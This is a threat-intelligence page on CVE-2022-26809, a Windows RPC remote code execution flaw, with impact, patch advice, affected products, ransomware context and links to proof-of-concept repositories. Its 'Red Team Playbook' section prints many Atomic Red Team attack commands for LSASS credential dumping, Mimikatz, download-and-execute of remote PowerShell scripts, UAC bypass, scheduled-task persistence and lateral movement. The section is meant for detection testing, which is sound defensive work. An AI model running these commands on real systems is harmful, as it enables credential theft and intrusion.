CVE-2022-26809
Overview
This vulnerability is a remote code execution flaw originating from improper handling of Remote Procedure Call (RPC) runtime operations in Microsoft Windows 10. The root cause lies in the RPC runtime component failing to properly validate or sanitize incoming RPC requests, allowing maliciously crafted packets to trigger execution of arbitrary code. The affected component is the RPC runtime service responsible for inter-process communication and remote procedure invocation within Windows 10 versions including 1607, 1809, 20H2, 21H1, and 21H2.
Vulnerability Description
Remote Procedure Call Runtime Remote Code Execution Vulnerability
Impact
An unauthenticated attacker with network access can exploit this vulnerability to execute arbitrary code with system-level privileges remotely. This enables full control over the affected Windows 10 system, including installing programs, viewing or modifying data, and creating new accounts with full user rights. The attack requires no user interaction and leverages network access, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N. This can result in complete compromise of affected systems, data breaches, and potential lateral movement within enterprise networks.
Solution
Microsoft has released security updates addressing this vulnerability in the Microsoft Security Response Center advisory accessible at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809. Administrators should apply the corresponding patches for Windows 10 versions 1607, 1809, 20H2, 21H1, and 21H2 as detailed in the advisory. No workarounds are specified; timely installation of the official security updates is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The identified vulnerability within the Remote Procedure Call (RPC) Runtime presents a critical risk, particularly for various versions of Microsoft Windows, including both client and server operating systems. This vulnerability arises from improper handling of RPC requests, which can be exploited to execute arbitrary code remotely. Attackers can leverage this flaw to gain unauthorized access to a system, potentially leading to full control over the affected machine. The severity of this vulnerability is underscored by its high CVSS score, which indicates a significant threat to system integrity and confidentiality.
Exploitation of this vulnerability can occur through multiple attack vectors, primarily focusing on network-based attacks. An adversary could initiate an attack by sending specially crafted RPC requests to a vulnerable system, which may not require any user interaction. This characteristic allows for a wide range of exploitation scenarios, including targeted attacks on enterprise environments or mass exploitation across numerous systems. Once the attacker successfully exploits the vulnerability, they can execute malicious payloads, install malware, or establish persistent access, thereby compromising the entire network infrastructure.
The real-world impact of this vulnerability is profound, particularly for organizations relying on affected versions of Windows. The potential for unauthorized remote code execution poses significant business risks, including data breaches, financial losses, and reputational damage. Organizations could face regulatory scrutiny and legal repercussions if sensitive data is compromised. Furthermore, the operational disruption caused by a successful attack could lead to downtime, loss of productivity, and the costs associated with incident response and recovery efforts. The widespread use of the affected operating systems in both consumer and enterprise environments amplifies the urgency for immediate attention to this vulnerability.
To mitigate the risks associated with this vulnerability, organizations should prioritize detection and remediation strategies. Regularly updating and patching systems is crucial, as software vendors typically release security updates to address known vulnerabilities. Implementing network segmentation can also reduce the attack surface, limiting the potential impact of an exploit. Additionally, organizations should employ intrusion detection and prevention systems (IDPS) to monitor for suspicious RPC traffic and anomalous behavior. Security awareness training for employees can further bolster defenses by educating users about the risks associated with untrusted network communications and the importance of maintaining updated systems.
In conclusion, the vulnerability within the RPC Runtime represents a critical threat to the security of various Microsoft Windows operating systems. Its potential for remote code execution, coupled with the ease of exploitation, necessitates immediate action from organizations to safeguard their systems. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their risk exposure and enhance their overall cybersecurity posture. The implications of neglecting this vulnerability could be severe, making it imperative for organizations to remain vigilant and responsive to emerging threats in the cybersecurity landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-26809, reflected by a sharp increase in telemetry activity. Although the EPSS score remains stable at a high level, this surge in detection signals growing adversary interest and potential operationalization beyond theoretical proof-of-concept stages. Multiple new proof-of-concept exploits have emerged on public platforms, broadening the accessibility of attack methods and increasing the likelihood of opportunistic exploitation. Despite the absence of confirmed ransomware campaigns linked to this vulnerability, the presence of known threat actors such as BianLian and Black Basta in related contexts underscores the ongoing risk of weaponization. This evolving landscape elevates the threat posture for defenders, emphasizing the need for heightened vigilance as exploitation attempts become more frequent and potentially more sophisticated.
Update 2 — August 15, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-26809, reflected by a significant uptick in telemetry signals. Although the EPSS score shows a slight decline, this metric does not fully capture the increased operational activity observed across multiple environments. The proliferation of new proof-of-concept exploits on public repositories continues to lower the barrier for adversaries, facilitating broader experimentation and potential weaponization. Notably, the involvement of ransomware groups such as BianLian and Black Basta remains a critical concern, as their historical tactics suggest a persistent interest in leveraging this vulnerability for intrusion and lateral movement. While no high-confidence ransomware campaigns have been confirmed to date, the surge in exploitation attempts signals an elevated threat posture. Defenders should recognize that this vulnerability is increasingly targeted in the wild, underscoring the urgency of maintaining vigilant detection and response capabilities.
Affected Products (20)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Microsoft | Windows 10 | N/A |
cpe:2.3:o:microsoft:windows_10:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 20h2 |
cpe:2.3:o:microsoft:windows_10:20h2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 21h1 |
cpe:2.3:o:microsoft:windows_10:21h1:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 21h2 |
cpe:2.3:o:microsoft:windows_10:21h2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1607 |
cpe:2.3:o:microsoft:windows_10:1607:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1809 |
cpe:2.3:o:microsoft:windows_10:1809:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 10 | 1909 |
cpe:2.3:o:microsoft:windows_10:1909:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows 11 | N/A |
cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:arm64:*
|
|
|
Microsoft | Windows 11 | N/A |
cpe:2.3:o:microsoft:windows_11:-:*:*:*:*:*:x64:*
|
|
|
Microsoft | Windows 7 | N/A |
cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
|
|
|
Microsoft | Windows 8.1 | N/A |
cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Rt 8.1 | N/A |
cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2008 | All |
cpe:2.3:o:microsoft:windows_server_2008:*:sp2:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2008 | r2 |
cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*
|
|
|
Microsoft | Windows Server 2012 | N/A |
cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2012 | r2 |
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | N/A |
cpe:2.3:o:microsoft:windows_server_2016:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2016 | 20h2 |
cpe:2.3:o:microsoft:windows_server_2016:20h2:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2019 | N/A |
cpe:2.3:o:microsoft:windows_server_2019:-:*:*:*:*:*:*:*
|
|
|
Microsoft | Windows Server 2022 | N/A |
cpe:2.3:o:microsoft:windows_server_2022:-:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (10)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
fuckjsonp/FuckJsonp-RCE-CVE-2022-26809-SQL-XSS-FuckJsonp
警惕 一种针对红队的新型溯源手段!
|
fuckjsonp | 409 | 81 | 2022-07-27 | View |
|
s1ckb017/PoC-CVE-2022-26809
PoC for CVE-2022-26809, analisys and considerations are shown in the github.io.
|
s1ckb017 | 106 | 26 | 2022-06-13 | View |
|
yuanLink/CVE-2022-26809
|
yuanLink | 61 | 27 | 2022-05-01 | View |
|
corelight/cve-2022-26809
Detects attempts and successful exploitation of CVE-2022-26809
|
corelight | 32 | 14 | 2022-04-14 | View |
|
websecnl/CVE-2022-26809
Remote Code Execution Exploit in the RPC Library
|
websecnl | 27 | 4 | 2022-04-14 | View |
|
sherlocksecurity/Microsoft-CVE-2022-26809-The-Little-Boy
The poc for CVE-2022-26809 RCE via RPC will be updated here.
|
sherlocksecurity | 19 | 0 | 2022-04-14 | View |
|
auduongxuan/CVE-2022-26809
|
auduongxuan | 7 | 5 | 2022-04-14 | View |
|
Lay0us/CVE-2022-26809-RCE
This repository contains a PoC for remote code execution CVE-2022-26809
|
Lay0us | 0 | 4 | 2022-04-22 | View |
|
michealadams30/Cve-2022-26809
|
michealadams30 | 0 | 1 | 2022-12-26 | View |
|
oppongjohn/CVE-2022-26809-RCE
CVE-2022-26809-RCE
|
oppongjohn | 0 | 0 | 2022-04-23 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)
Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-26809 |
| msrc.microsoft.com |
GitHub CVE
vendor-advisory
|
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809 |